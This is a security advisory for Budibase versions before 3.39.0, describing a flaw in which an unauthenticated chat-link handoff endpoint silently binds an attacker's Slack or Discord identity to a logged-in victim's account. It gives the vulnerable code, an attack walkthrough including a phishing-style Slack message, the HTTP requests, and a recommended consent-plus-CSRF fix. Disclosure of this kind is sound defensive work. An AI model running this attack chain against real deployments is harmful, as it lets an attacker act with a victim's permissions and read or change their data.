| Package | Affected versions | Patched versions |
|---|---|---|
| budibase | < 3.39.0 | 3.39.0 |
| @budibase/server | < 3.39.0 | 3.39.0 |
Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account
High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3
packages/server/src/api/controllers/ai/chatIdentityLinks.tsGET /api/chat-links/:instance/:token/handoffGET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.
The session token in the URL is created by the attacker (from their own /link slash command) and embeds the attacker's externalUserId. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." — no indication of what was linked.
// packages/server/src/api/routes/chat.ts:22
router.get(
"/api/chat-links/:instance/:token/handoff",
controller.handoffChatLinkSession // registered in publicRoutes — zero auth middleware
)
// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110
export async function handoffChatLinkSession(
ctx: UserCtx<void, string, { instance: string; token: string }>
) {
const token = resolveToken(ctx.params.token)
const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
if (!session) {
throw new HTTPError("Link token is invalid or has expired", 400)
}
assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })
if (!ctx.isAuthenticated) {
// Unauthenticated: set return URL cookie, redirect to login
// After login, same URL is visited again → attack completes silently
utils.setCookie(ctx,
`/api/chat-links/${ctx.params.instance}/${token}/handoff`,
"budibase:returnurl",
{ sign: false } // ← unsigned cookie, but not an open redirect
)
ctx.redirect("/builder/auth/login")
return
}
const currentGlobalUserId = getCurrentGlobalUserId(ctx)
const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)
// ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓
await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
provider: consumedSession.provider,
externalUserId: consumedSession.externalUserId, // ← ATTACKER's Slack ID
externalUserName: consumedSession.externalUserName,
teamId: consumedSession.teamId,
globalUserId: currentGlobalUserId, // ← VICTIM's Budibase user ID
linkedBy: currentGlobalUserId,
})
ctx.type = "text/html"
ctx.body = renderLinkSuccessPage() // ← "Authentication succeeded." — no disclosure to user
}
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free--
/link in SlackAttacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:
Redis key: chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx
Redis value (exact structure from ChatIdentityLinkSession interface):
{
"token": "tok_xxxxxxxxxxxxxxxx",
"tenantId": "acme",
"workspaceId": "ws_abc123",
"provider": "slack",
"externalUserId": "UA12345678",
"externalUserName": "attacker",
"teamId": "T_ACME_SLACK",
"createdAt": "2026-05-02T10:00:00.000Z",
"expiresAt": "2026-05-02T10:10:00.000Z"
}
Slack DM sent privately to attacker:
Link your Slack account to continue chatting with this agent.
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff
Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.
Attacker posts in the company Slack:
@admin please click this to connect your Budibase account for AI agent access:
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff
HTTP Request (victim's browser):
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
Cookie: budibase:session=VICTIM_SESSION
HTTP Response:
HTTP/1.1 200 OK
Content-Type: text/html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Authentication succeeded</title>
</head>
<body>
<p>Authentication succeeded.</p>
<script>
if (window.opener && !window.opener.closed) {
try { window.opener.focus(); window.close() } catch (error) {}
}
</script>
</body>
</html>
The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.
CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):
{
"_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678",
"tenantId": "acme",
"provider": "slack",
"externalUserId": "UA12345678",
"globalUserId": "ro_global_us_VICTIM_ADMIN_ID",
"linkedAt": "2026-05-02T10:00:42.000Z",
"linkedBy": "ro_global_us_VICTIM_ADMIN_ID",
"externalUserName": "attacker",
"teamId": "T_ACME_SLACK",
"createdAt": "2026-05-02T10:00:42.000Z",
"updatedAt": "2026-05-02T10:00:42.000Z"
}
The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro_global_us_VICTIM_ADMIN_ID (victim).
Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).
The chat handler resolves the identity:
// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
provider: AgentChannelProvider.SLACK,
externalUserId: "UA12345678", // ← attacker's Slack ID
teamId: "T_ACME_SLACK",
})
// existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID"
const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID")
// All agent tool calls now execute with victim admin's permissions
The attacker can now ask the agent:
"Show me all rows in the Customers table" "Trigger the 'Send Invoice' automation for customer ID 42" "What files are in the knowledge base?"
Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.
If the victim is not currently logged in when they click the URL:
HTTP Request:
GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
HTTP Response:
HTTP/1.1 302 Found
Location: /builder/auth/login
Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/
After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.
Convert the handoff to a two-step flow:
GET /api/chat-links/:instance/:token/handoff
→ Show consent page: "You are linking your Budibase account to
[externalUserName]'s Slack identity ([provider]).
This allows them to interact with AI agents as you. [Confirm] [Cancel]"
POST /api/chat-links/:instance/:token/handoff (with CSRF token)
→ Perform the upsertChatIdentityLink() write
Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.
Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr
packages/server/src/api/routes/chat.ts:22 — public route registrationpackages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110 — full vulnerable controllerpackages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165 — session creation (embeds attacker's externalUserId)packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247 — upsertChatIdentityLink (permanent write)packages/server/src/api/controllers/webhook/chatHandler.ts:421 — identity resolution during agent message handlingpackages/server/src/ai/tools/budibase/automations.ts — automation trigger capabilitypackages/server/src/ai/tools/budibase/rows.ts — row read/write capabilitypackages/types/src/sdk/chatIdentityLinks.ts — session + link type definitions